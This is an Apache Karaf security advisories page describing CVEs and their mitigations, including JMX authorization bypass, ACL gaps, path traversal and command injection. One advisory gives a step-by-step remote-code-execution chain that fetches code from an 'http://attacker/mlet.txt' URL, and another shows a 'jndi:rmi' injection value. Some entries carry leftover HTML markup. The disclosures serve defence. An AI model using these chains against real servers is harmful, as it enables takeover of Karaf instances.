Apache Karaf security advisories

Security information for Apache Karaf

Reporting

Do you want to disclose a potential security issue for Apache Karaf? Send your report to the Apache Security Team.

Advisories

This section is experimental: it provides advisories since 2023 and may lag behind the official CVE publications. If you have any feedback on how you would like this data to be provided, you are welcome to reach out on our public mailinglist or privately on security@apache.org

Improper release of ClassLoader references via static ThreadLocal caching

CVE-2026-92230 [CVE] [CVE json] [OSV json]

Last updated: 2026-09-17T18:38:22.061Z

Affected

  • Apache Karaf before 4.4.11

Description

Apache Karaf’s XmlUtils cached XML parser/transformer factories in static ThreadLocal fields on long-lived container threads. Because a ThreadLocal value outlives the OSGi bundle that created it, repeated bundle or feature install, update, or refresh operations can leave successive bundle ClassLoader’s pinned in memory and unreachable for garbage collection, leading to unbounded Metaspace growth and eventual denial of service of the Karaf instance.

References

Credits

  • Baoquan Cui & Yucheng Qiu (reporter)

Authorization bypass in JMX MBean lifecycle operations

CVE-2026-92142 [CVE] [CVE json] [OSV json]

Last updated: 2026-09-29T08:40:06.994Z

Affected

  • Apache Karaf before 4.4.12

Description

Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:


  private final List<String> guarded = Collections.unmodifiableList( Arrays.asList(“invoke”, “getAttribute”, “getAttributes”, “setAttribute”, “setAttributes”));

The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl..cfg.

As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged “viewer” role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).

This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard’s existing “invoke” check, but the default etc/jmx.acl.cfg grants the “viewer” role to any method name matching the wildcard rule “get = viewer”, a heuristic intended for read-only getters. Because “getMBeansFromURL” happens to start with “get”, it also matches that rule, so a default installation grants “viewer” callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a “viewer"-role JMX client a path to remote code execution to the Karaf JVM:
  1. Authenticate to JMX as any user with any role (e.g. “viewer”).
  2. mbs.createMBean(“javax.management.loading.MLet”, objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
  3. mbs.invoke(objectName, “getMBeansFromURL”, new Object[]{“http://attacker/mlet.txt”}, …) is guarded, but the method name matches the default “get* = viewer” ACL rule, so permitted.
  4. The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
  5. mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.
The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the “admin” role. This allows deployments to also write class-name-specific rule, e.g.:

createMBean(java.lang.String)[/javax.management.loading..*/] = admin

Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin” JMX credentiels.

References

Credits

config:install missing ACL entry allows privilege escalation to admin

CVE-2026-91085 [CVE] [CVE json] [OSV json]

Last updated: 2026-09-29T08:39:32.106Z

Affected

  • Apache Karaf before 4.4.12

Description

Apache Karaf’s shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, karaf.secured.command.compulsory.roles, ships commented out in etc/system.properties, so an unmatched command is allowed for any authenticated user.


The shipped org.apache.karaf.command.acl.config ACL (assemblies/features/standard/src/main/feature/feature.xml, mirrored into instance/…/etc/org.apache.karaf.command.acl.config.cfg) has no install entry. It restricts delete to admin, restricts edit/property-/update on the jmx.acl., org.apache.karaf.command.acl. and org.apache.karaf.service.acl. PIDs to admin, and allows manager for everything else, but config:install was simply unmatched, and therefore allowed for any authenticated user, including one holding only the viewer role.

config:install <url> <finalname> fetches url and writes it into ${karaf.etc} as finalname. It calls PathUtils.checkWithin() to block .. traversal outside karaf.etc, but that folder holds every security-relevant file Karaf ships: users.properties, keys.properties, host.key, and all org.apache.karaf..acl. files, including the very ACL file that (mis)governs this command. With -o/–override, an existing file is overwritten with attacker-controlled bytes fetched from an arbitrary URL.

Because felix.fileinstall.dir = ${karaf.etc} (etc/config.properties), Felix FileInstall also watches and reloads any .cfg file dropped there, closing the loop without requiring a restart.

By contrast, bundle:install, feature:install and kar:install are all admin-only in their own ACLs, and config:delete is admin in this same ACL, config:install was the outlier.

Mitigation

Add install = admin in etc/org.apache.karaf.command.acl.config.cfg (create the file is absent), and/or set karaf.secured.command.compulsory.roles=admin in etc/system.properties (and restart) to make unmatched commands fail closed by default.

References

Credits

Missing authorization on the jdbc:* shell command scope allows privilege escalation to remote code execution via jdbc:ds-create

CVE-2026-91048 [CVE] [CVE json] [OSV json]

Last updated: 2026-09-29T08:34:45.991Z

Affected

  • Apache Karaf before 4.4.12

Description

The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf’s command guard (SecuredSessionFactoryImpl) treats a command with no matching ACL rule as allowed, so any authenticated shell session (including one holding only the viewer role) could run every jdbc: command. jdbc:ds-create stores a fully attacker-controlled JDBC URL into a pax-jdbc-config factory Configuration with no validation. pax-jdbc-config reactively turns that into a live DataSource. Several JDBC drivers run code or SQL at connection time based on URL parameters (e.g. H2 INIT=RUNSCRIPT), so a viewer-level shell user could reach arbitrary code execution, bypassing the admin-role gate that already protects shell:exec. This is a privilege-escalation-to-RCE chain, not merely an “admin misconfiguration”.


The same applies to jms: shell commands.

References

Credits

Path Traversal in Config Service Allows Manager-to-Admin Privilege Escalation

CVE-2026-91012 [CVE] [CVE json] [OSV json]

Last updated: 2026-09-29T08:34:10.036Z

Affected

  • Apache Karaf before 4.4.12

Description

org.apache.karaf.config.core.impl.ConfigRepositoryImpl#update(pid, properties), which backs the "config" MBean and the config:* shell commands, derives the file it writes a configuration to from caller-supplied input without checking that the result stays inside ${karaf.etc}:
  • if the submitted property map contains a felix.fileinstall.filename entry, that value is turned directly into a File (getCfgFileFromProperty), so it can point to any absolute path the Karaf process can write to;
  • otherwise the configuration PID is concatenated verbatim into the target file name (generateConfigFilename(): new File(karaf.etc, pid + ".cfg")), so a PID containing ".." segments resolves outside ${karaf.etc}. createFactoryConfiguration() has the same issue via the factory PID/alias.
Both code paths are reachable by any caller holding the "manager" role under Karaf's shipped command/JMX ACL (org.apache.karaf.command.acl.conf.cfg: "update = manager"). Such a user can therefore write attacker-controlled content to any file the Karaf process can write, including files the same ACL otherwise reserves to "admin" (etc/users.properties, etc/*.acl.*.cfg, etc/org.apache.karaf.management.cfg, and similar), allowing a manager-role user to grant themselves the admin role or otherwise take over the container.

ConfigMBeanImpl.install() and the config:install shell command already guarded the equivalent risk on their own code path with a finalname.contains("..") string check, but that check does not stop absolute paths or symlink-based escapes, and it was never applied to ConfigRepositoryImpl.update() / createFactoryConfiguration() at all.

References

Credits

OS Command Injection in Child-Instance Launch (instance:* / InstancesMBean)

CVE-2026-91006 [CVE] [CVE json] [OSV json]

Last updated: 2026-09-28T10:44:31.268Z

Affected

  • Apache Karaf before 4.4.12

Description

Apache Karaf’s instance-management service (InstanceServiceImpl) builds the command line used to launch a child Karaf JVM by string concatenation, then executes it through /bin/sh (Unix) or cscript (Windows). The caller-supplied javaOpts value is spliced into that string unquoted. A javaOpts value containing shell metacharacters (;, |, `, $(…)) is interpreted by the shell instead of being passed to the JVM as an option, giving arbitrary OS command execution as the Karaf process user.


Reachable via the shell commands instance:create, instance:start, instance:restart, instance:change-opts, and the equivalent InstanceMBean JMX operations (createInstance, startInstance, changeJavaOpts, cloneInstance).

Mitigation 

  • Set karaf.secured.command.compulsory.roles=admin in etc/system.properties to close the fail-open gap for all unconfigured command scopes.
  • Restrict which principals can reach instance:* commands and InstancesMBean via etc/users.properties role assignments.
  • Treat javaOpts passed to instance:create/instance:start/instance:change-opts/InstancesMBean as untrusted input only from fully-trusted operators.

References

Credits

LDAP filter injection in JAAS LDAP login modules

CVE-2026-90979 [CVE] [CVE json] [OSV json]

Last updated: 2026-09-28T09:34:23.941Z

Affected

  • Apache Karaf before 4.4.12

Description

LDAPCache and LDAPBackingEngine build LDAP search filters for user lookup and role lookup by textually substituting the placeholders %u, %dn, and %fqdn (drawn from the login name, the resolved user DN, and its fully qualified namespace form) into administrator-configured filter templates (userFilter, roleFilter). Before the fix, the only sanitization applied to the substituted value was double backslashed:

filter = filter.replaceAll(Pattern.quote("%u"), Matcher.quoteReplacement(user));
filter = filter.replace("\\", "\\\\");

This does not escape the other characters RFC 4515 requires escaping in an LDAP search filter: *, (, ), and NUL. A login name containing any of these can change the structure of the resulting filter rather than being matched as a literal value (e.g. a crafted username can turn an equality match into a wildcard match, or close/reopen filter clauses), widening what the search returns and potentially causing a login or role lookup to match an LDAP entry other than the intended one, over-granting roles, and depending on deployment-specific filter templates, potentially affecting which account a login resolved to.

It's not exploitable through every entry points: LDAPLoginModule and LDAPPubkeyLoginModule both called Util.doRFC2254Encoding() (correct RFC 4515 escaping) on the login name before handing it to LDAPCache, which masked the missing escaping in LDAPCache for those two call paths. Using LDAPCache directly (bypassing the login modules) does not reproduce through the normal LDAPLoginModule/LDAPPubkeyLoginModule authentication flow for this reason. It does reproduce through two other call paths that reach LDAPCache/LDAPBackingEngine without any prior escaping:
  • GSSAPILdapLoginModule passes the NameCallback name straight through, unescaped.
  • LDAPBackingEngine (listRoles) passes principal.getName() straight through, unescaped.

References

Credits

Decanter log-socket collector has deserialization vulnerability

CVE-2026-24656 [CVE] [CVE json]

Last updated: 2026-01-26T09:41:22.803Z

Affected

  • Apache Karaf before 2.12.0
  • Apache Karaf at 2.12.0 unaffected

Description

Deserialization of Untrusted Data vulnerability in Apache Karaf Decanter.


The Decanter log socket collector exposes the port 4560, without authentication. If the collector exposes allowed classes property, this configuration can be bypassed.
It means that the log socket collector is vulnerable to deserialization of untrusted data, eventually causing DoS.


NB: Decanter log socket collector is not installed by default. Users who have not installed Decanter log socket are not impacted by this issue.

This issue affects Apache Karaf Decanter before 2.12.0.

Users are recommended to upgrade to version 2.12.0, which fixes the issue.

References

Credits

  • r00t4dm (finder)

Cave SSRF and arbitrary file access

CVE-2024-34365 [CVE] [CVE json] [OSV json]

Last updated: 2024-05-09T06:49:03.305Z

Affected

  • Apache Karaf Cave through *

Description

** UNSUPPORTED WHEN ASSIGNED ** Improper Input Validation vulnerability in Apache Karaf Cave.

This issue affects all versions of Apache Karaf Cave.

As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users.

NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

References

Credits

  • cigar (finder)

JDBC JAAS LDAP injection

CVE-2022-40145 [CVE] [CVE json] [OSV json]

Last updated: 2022-12-21T15:53:26.357Z

Affected

  • Apache Karaf from 4.4.0 before 4.4.2
  • Apache Karaf before 4.3.8

Description

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.

The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource
use InitialContext.lookup(jndiName) without filtering.
An user can modify options.put(JDBCUtils.DATASOU</span><span style="background-color: rgb(255, 255, 255);">RCE, "osgi:" +&nbsp;</span><span style="background-color: rgb(255, 255, 255);">DataSource.class.getName()); to options.put(JDBCUtils.DATASOU</span><span style="background-color: rgb(255, 255, 255);">RCE,</span><span style="background-color: rgb(255, 255, 255);">"jndi:rmi://x.x.x.x:xxxx/Comma</span><span style="background-color: rgb(255, 255, 255);">nd"); in JdbcLoginModuleTest#setup.

This is vulnerable to a remote code execution (RCE) attack when a
configuration uses a JNDI LDAP data source URI when an attacker has
control of the target LDAP server.

This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.

We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

References

Credits

Path traversal flaws

CVE-2022-22932 [CVE] [CVE json] [OSV json]

Last updated: 2022-01-25T14:53:17.546Z

Affected

  • Apache Karaf from Apache Karaf before 4.2.15

Description

Apache Karaf obr:* commands and run goal on the karaf-maven-plugin have partial path traversal which allows to break out of expected folder.

The risk is low as obr:* commands are not very used and the entry is set by user.

This has been fixed in revision:

https://gitbox.apache.org/repos/asf?p=karaf.git;h=36a2bc4 https://gitbox.apache.org/repos/asf?p=karaf.git;h=52b70cf

Mitigation: Apache Karaf users should upgrade to 4.2.15 or 4.3.6 or later as soon as possible, or use correct path.

JIRA Tickets: https://issues.apache.org/jira/browse/KARAF-7326

References

Credits

  • This issue was discovered and reported by GHSL team member Jaroslav Lobacevski

Insecure Java Deserialization in Apache Karaf

CVE-2021-41766 [CVE] [CVE json] [OSV json]

Last updated: 2022-01-25T14:39:43.793Z

Affected

  • Apache Karaf from Apache Karaf before 4.3.6

Description

Apache Karaf allows monitoring of applications and the Java runtime by using the Java Management Extensions (JMX). JMX is a Java RMI based technology that relies on Java serialized objects for client server communication. Whereas the default JMX implementation is hardened against unauthenticated deserialization attacks, the implementation used by Apache Karaf is not protected against this kind of attack.

The impact of Java deserialization vulnerabilities strongly depends on the classes that are available within the targets class path. Generally speaking, deserialization of untrusted data does always represent a high security risk and should be prevented.

The risk is low as, by default, Karaf uses a limited set of classes in the JMX server class path. It depends of system scoped classes (e.g. jar in the lib folder).

References

Credits

  • This issue was reported by Daniel Heyne, Konstantin Samuel and Tobias Neitzel.